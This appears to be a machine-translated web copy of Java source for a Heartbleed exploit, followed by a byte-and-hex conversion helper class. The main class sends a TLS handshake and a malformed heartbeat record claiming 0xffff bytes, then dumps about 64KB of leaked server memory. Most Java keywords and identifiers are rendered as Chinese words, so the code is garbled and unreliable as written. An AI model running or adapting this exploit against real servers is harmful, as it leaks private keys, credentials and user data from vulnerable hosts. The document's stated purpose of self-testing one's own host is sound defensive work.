複製程式碼如下：
套件 com.jxy.web；
導入java.io.IOException；
導入 java.io.InputStream;
導入 java.io.OutputStream;
導入java.io.UnsupportedEncodingException；
導入java.net.Socket；
導入 java.net.UnknownHostException;
導入 com.jxy.tools.MyByte;
公開課《心血》{
私有靜態位元組[] hello = {（位元組）0x16，（位元組）0x03，（位元組）0x02，
（位元組）0x00，（位元組）0xdc，（位元組）0x01，（位元組）0x00，（位元組）0x00，
（位元組）0xd8，（位元組）0x03，（位元組）0x02，（位元組）0x53，（位元組）0x43，
（位元組）0x5b，（位元組）0x90，（位元組）0x9d，（位元組）0x9b，（位元組）0x72，
（位元組）0x0b，（位元組）0xbc，（位元組）0x0c，（位元組）0xbc，（位元組）0x2b，
（位元組）0x92，（位元組）0xa8，（位元組）0x48，（位元組）0x97，（位元組）0xcf，
（位元組）0xbd，（位元組）0x39，（位元組）0x04，（位元組）0xcc，（位元組）0x16，
（位元組）0x0a，（位元組）0x85，（位元組）0x03，（位元組）0x90，（位元組）0x9f，
（字節）0x77，（字節）0x04，（字節）0x33，（字節）0xd4，（字節）0xde，
（位元組）0x00，（位元組）0x00，（位元組）0x66，（位元組）0xc0，（位元組）0x14，
（位元組）0xc0，（位元組）0x0a，（位元組）0xc0，（位元組）0x22，（位元組）0xc0，
（位元組）0x21，（位元組）0x00，（位元組）0x39，（位元組）0x00，（位元組）0x38，
（字節）0x00，（字節）0x88，（字節）0x00，（字節）0x87，（字節）0xc0，
（位元組）0x0f，（位元組）0xc0，（位元組）0x05，（位元組）0x00，（位元組）0x35，
（位元組）0x00，（位元組）0x84，（位元組）0xc0，（位元組）0x12，（位元組）0xc0，
（位元組）0x08，（位元組）0xc0，（位元組）0x1c，（位元組）0xc0，（位元組）0x1b，
（位元組）0x00，（位元組）0x16，（位元組）0x00，（位元組）0x13，（位元組）0xc0，
（位元組）0x0d，（位元組）0xc0，（位元組）0x03，（位元組）0x00，（位元組）0x0a，
（位元組）0xc0，（位元組）0x13，（位元組）0xc0，（位元組）0x09，（位元組）0xc0，
（字節）0x1f，（字節）0xc0，（字節）0x1e，（字節）0x00，（字節）0x33，
（位元組）0x00，（位元組）0x32，（位元組）0x00，（位元組）0x9a，（位元組）0x00，
（位元組）0x99，（位元組）0x00，（位元組）0x45，（位元組）0x00，（位元組）0x44，
（位元組）0xc0，（位元組）0x0e，（位元組）0xc0，（位元組）0x04，（位元組）0x00，
（位元組）0x2f，（位元組）0x00，（位元組）0x96，（位元組）0x00，（位元組）0x41，
（位元組）0xc0，（位元組）0x11，（位元組）0xc0，（位元組）0x07，（位元組）0xc0，
（位元組）0x0c，（位元組）0xc0，（位元組）0x02，（位元組）0x00，（位元組）0x05，
（位元組）0x00，（位元組）0x04，（位元組）0x00，（位元組）0x15，（位元組）0x00，
（位元組）0x12，（位元組）0x00，（位元組）0x09，（位元組）0x00，（位元組）0x14，
（位元組）0x00，（位元組）0x11，（位元組）0x00，（位元組）0x08，（位元組）0x00，
（位元組）0x06，（位元組）0x00，（位元組）0x03，（位元組）0x00，（位元組）0xff，
（位元組）0x01，（位元組）0x00，（位元組）0x00，（位元組）0x49，（位元組）0x00，
（位元組）0x0b，（位元組）0x00，（位元組）0x04，（位元組）0x03，（位元組）0x00，
（位元組）0x01，（位元組）0x02，（位元組）0x00，（位元組）0x0a，（位元組）0x00，
（位元組）0x34，（位元組）0x00，（位元組）0x32，（位元組）0x00，（位元組）0x0e，
（位元組）0x00，（位元組）0x0d，（位元組）0x00，（位元組）0x19，（位元組）0x00，
（位元組）0x0b，（位元組）0x00，（位元組）0x0c，（位元組）0x00，（位元組）0x18，
（位元組）0x00，（位元組）0x09，（位元組）0x00，（位元組）0x0a，（位元組）0x00，
（位元組）0x16，（位元組）0x00，（位元組）0x17，（位元組）0x00，（位元組）0x08，
（位元組）0x00，（位元組）0x06，（位元組）0x00，（位元組）0x07，（位元組）0x00，
（位元組）0x14，（位元組）0x00，（位元組）0x15，（位元組）0x00，（位元組）0x04，
（位元組）0x00，（位元組）0x05，（位元組）0x00，（位元組）0x12，（位元組）0x00，
（位元組）0x13，（位元組）0x00，（位元組）0x01，（位元組）0x00，（位元組）0x02，
（位元組）0x00，（位元組）0x03，（位元組）0x00，（位元組）0x0f，（位元組）0x00，
（位元組）0x10，（位元組）0x00，（位元組）0x11，（位元組）0x00，（位元組）0x23，
（位元組）0x00，（位元組）0x00，（位元組）0x00，（位元組）0x0f，（位元組）0x00，
（字節）0x01，（字節）0x01}；
私有靜態位元組[]出血= {（位元組）0x18，（位元組）0x03，（位元組）0x02，
（位元組）0x00，（位元組）0x03，（位元組）0x01，（位元組）0xff，（位元組）0xff };
私有靜態位元組[] tmp；
私有靜態位元組[]支付；
/**
* SSL3_RT_CHANGE_CIPHER_SPEC 20
* SSL3_RT_ALERT 21
* SSL3_RT_HANDSHAKE 22
* SSL3_RT_APPLICATION_DATA 23
* TLS1_RT_HEARTBEAT 24
*
* @參數參數
* @拋出例外
*/
公共靜態無效主（字串[] args）{
Attack("改為自己測試的主機", 465);
系統.退出(0);
}
公共靜態布林攻擊（字串主機，int連接埠）{
System.out.println("開始連線...");
套接字套接字=空；
嘗試 {
套接字 = 新套接字（主機，連接埠）；
} catch (UnknownHostException e) {
System.out.println("未知主機。");
返回假；
} catch (IOException e) {
System.out.println("存取主機失敗。");
返回假；
}
輸出流輸出 = null;
嘗試 {
輸出 = socket.getOutputStream();
} catch (IOException e) {
System.out.println("取得產出流失敗。");
返回假；
}
輸入流= null;
嘗試 {
in = socket.getInputStream();
} catch (IOException e) {
System.out.println("取得輸入流失敗。");
返回假；
}
System.out.println("發送客戶端心率包...");
嘗試 {
輸出.write(你好);
} catch (IOException e) {
System.out.println("發送心跳包失敗。");
返回假；
}
System.out.println("等待伺服器心跳包...");
而（真）{
tmp = getData(in, 5);
如果（tmp[0]==0）{
System.out.println("伺服器沒有回傳心跳包並且關閉了連線。");
返回假；
}
分析頭（tmp）；
int len = (int) MyByte.HexString2Long(MyByte
.byteToHexString(tmp[3]) + MyByte.byteToHexString(tmp[4]));
支付 = getData(in, len);
if (tmp[0] == 22 && 支付[0] == 0x0E) {
System.out.println("找到回傳正常的心率包。");
休息;
}
}
System.out.println("發送心跳包...");
嘗試 {
out.write(出血);
} catch (IOException e) {
System.out.println("發送心跳心跳包失敗。");
返回假；
}
嘗試 {
out.write(出血);
} catch (IOException e) {
System.out.println("發送心跳心跳包失敗。");
返回假；
}
而（真）{
tmp = getData(in, 5);
int len = (int) MyByte.HexString2Long(MyByte
.byteToHexString(tmp[3]) + MyByte.byteToHexString(tmp[4]));
如果（tmp[0]==0）{
System.out.println("沒有心跳回傳接收到，伺服器看起來不容易受攻擊的");
返回假；
}
如果（tmp[0]==24）{
System.out.println("接收到心跳返回:");
int count=0;//長度計數
for (int i = 0; i < 4; i++) {//讀4次，全部讀取64KB
支付 = getData(in, len);
計數+=支付.長度；
System.out.print(hexdump(支付));
}
System.out.println("/n資料長度為:" + count);
如果（長度> 3）{
系統輸出
.println("警告：伺服器傳回了具體的資料 - 伺服器是易受攻擊的！");
} 別的 {
系統輸出
.println("伺服器返回變形的心跳，沒有返回其他額外的資料");
}
休息;
}
如果（tmp[0]==21）{
System.out.println("接收到警告：");
System.out.println(hexdump(支付));
System.out.println("伺服器回傳錯誤,看起來不是易受攻擊的");
休息;
}
}
嘗試 {
關閉();
附寄（）;
} catch (IOException e) {
System.out.println("關閉輸入輸出流異常");
}
返回真；
}
公共靜態位元組[] getData(InputStream in, int lenth) {
byte[] t = 新位元組[長度];
嘗試 {
in.read(t);
} catch (IOException e) {
System.out.println("接受資料錯誤");
}
返回t；
}
公共靜態字串hexdump（字節[]支付）{
字串 s = "";
嘗試 {
s = new String(pay, "GB2312");
} catch (UnsupportedEncodingException e) {
System.out.println("未知編碼");
}
返回 s；
}
公共靜態無效 analysisHead(byte[] tmp) {
System.out.print("接收到訊息:");
System.out.print("型別：" + tmp[0] + "/t");
System.out.print("版本:" + MyByte.byteToHexString(tmp[1])
+ MyByte.byteToHexString(tmp[2]) + "/t");
System.out.println("長度:"
+ MyByte.HexString2Long(MyByte.byteToHexString(tmp[3])
+ MyByte.byteToHexString(tmp[4])));
}
}
複製程式碼如下：
包com.jxy.tools；
/**
* 16 計數值與 String/Byte 之間的轉換
* */
公共類別 MyByte {
/**
* 字串轉換成十六字串
*
* @param 字串
* str 待轉換的ASCII字串
* @return String 每個位元組之間空格分隔，如: [61 6C 6B]
*/
公共靜態字串str2HexStr（字串str）{
char[] chars = "0123456789ABCDEF".toCharArray();
StringBuilder sb = new StringBuilder("");
byte[] bs = str.getBytes();
整數位；
for (int i = 0; i < bs.length; i++) {
位元 = (bs[i] & 0x0f0) >> 4;
sb.append(字元[位元]);
位 = bs[i] & 0x0f;
sb.append(字元[位元]);
sb.append(' ');
}
返回 sb.toString().trim();
}
/**
* 十六進位背誦字串
*
* @param 字串
* str Byte字串(Byte之間無分隔符號如:[616C6B])
* @return String 對應的字串
*/
公共靜態字串hexStr2Str（字串hexStr）{
字串str =“0123456789ABCDEF”;
char[] hexs = hexStr.toCharArray();
byte[] 位元組 = 新位元組[hexStr.length() / 2];
整數 n;
for (int i = 0; i < bytes.length; i++) {
n = str.indexOf(hexs[2 * i]) * 16;
n += str.indexOf(hexs[2 * i + 1]);
位元組 [i] = (位元組) (n & 0xff);
}
返回新字串（位元組）；
}
/**
* 字串的字串轉換成unicode的字串
*
* @param 字串
* strText 全角字串
* @return String 每個unicode之間無分隔符
* @拋出例外
*/
公共靜態 String strToUnicode(String strText) 拋出例外 {
字元c；
StringBuilder str = new StringBuilder();
int intAsc;
字串 strHex；
for (int i = 0; i < strText.length(); i++) {
c = strText.charAt(i);
intAsc = (int) c;
strHex = Integer.toHexString(intAsc);
if (intAsc > 128)
str.append("//u" + strHex);
別的
// 位置低在前面補00
str.append("//u00" + strHex);
}
返回 str.toString();
}
/**
* unicode的字串轉換成字串的字串
*
* @param 字串
* hex 16字串值（一個unicode為2byte）
* @return String 全角字串
*/
公共靜態字串unicodeToString（字串十六進位）{
int t = hex.length() / 6;
StringBuilder str = new StringBuilder();
for (int i = 0; i < t; i++) {
字串 s = hex.substring(i * 6, (i + 1) * 6);
// 高位需要補上00再轉
字串 s1 = s.substring(2, 4) + "00";
// 低位直接轉
字串 s2 = s.substring(4);
// 將16的字串轉為int
int n = Integer.valueOf(s1, 16) + Integer.valueOf(s2, 16);
// 將int轉換為字符
char[] chars = Character.toChars(n);
str.append(new String(chars));
}
返回 str.toString();
}
/**
* 合併兩個位元組備份
*
* @參數pByteA
* @參數pByteB
* @返回
*/
公共靜態 byte[] getMergeBytes(byte[] pByteA, byte[] pByteB) {
int aCount = pByteA.length;
int bCount = pByteB.length;
byte[] b = 新位元組[aCount + bCount];
for (int i = 0; i < aCount; i++) {
b[i] = pByteA[i];
}
for (int i = 0; i < bCount; i++) {
b[aCount + i] = pByteB[i];
}
返回b；
}
/**
* 截取位元組數據
*
* @參數b
* 是位元組備份
* @參數j
* 是大小
* @返回
*/
公共靜態位元組[] cutOutByte(位元組[] b, int j) {
if (b.length == 0 || j == 0) {
返回空值；
}
byte[] tmp = 新位元組[j];
for (int i = 0; i < j; i++) {
tmp[i] = b[i];
}
返回tmp；
}
/**
* 16字串轉換位元組陣列
*
* @param 十六進位字串
* String 16弦弦
* @return byte[] 位元組內存
*/
公共靜態位元組[] HexString2Bytes(String hexstr) {
byte[] b = new byte[hexstr.length() / 2];
整數 j = 0;
for (int i = 0; i < b.length; i++) {
char c0 = hexstr.charAt(j++);
char c1 = hexstr.charAt(j++);
b[i] = (位元組) ((解析(c0) << 4) | 解析(c1));
}
返回b；
}
私人靜態 int 解析（char c）{
如果 (c >= 'a')
返回 (c - 'a' + 10) & 0x0f;
如果 (c >= 'A')
返回 (c - 'A' + 10) & 0x0f;
返回(c - '0') & 0x0f;
}
/**
* 位元組轉換為十六字串，如果為9以內的，用0補齊
*
* @參數b
* @返回
*/
公共靜態字串byteToHexString（位元組b）{
字串 stmp = Integer.toHexString(b & 0xFF);
stmp = (stmp.length() == 1) ? “0”+stmp：stmp；
返回 stmp.toUpperCase();
}
/**
* 將byte轉換為int
*
* @參數b
* @返回
*/
公共靜態 int byteToInt(位元組 b) {
返回 Integer.valueOf(b);
}
/**
* bytes轉換成十六串
*
* @param byte[] b 位元組內存
* @return String 每個位元組值之間的空格分隔
*/
公用靜態字串 byteToHexString(byte[] b) {
字串stmp =“”；
StringBuilder sb = new StringBuilder("");
for (位元組 c : b) {
stmp = Integer.toHexString(c & 0xFF);//與預算，去掉byte轉int帶來的補位
sb.append((stmp.length() == 1) ? "0" + stmp : stmp);// 是一位的話填充零
sb.append(" ");// 資料以空格分隔
}
return sb.toString().toUpperCase().trim();//轉換大寫，並去除首尾空格
}
公用靜態長 HexString2Long(String hexstr) {
長和=0；
int 長度=hexstr.length();
for (int i = 0; i < 長度; i++) {
sum+=parse(hexstr.charAt(i))*Math.pow(16,length-i-1);
}
返回總和；
}
}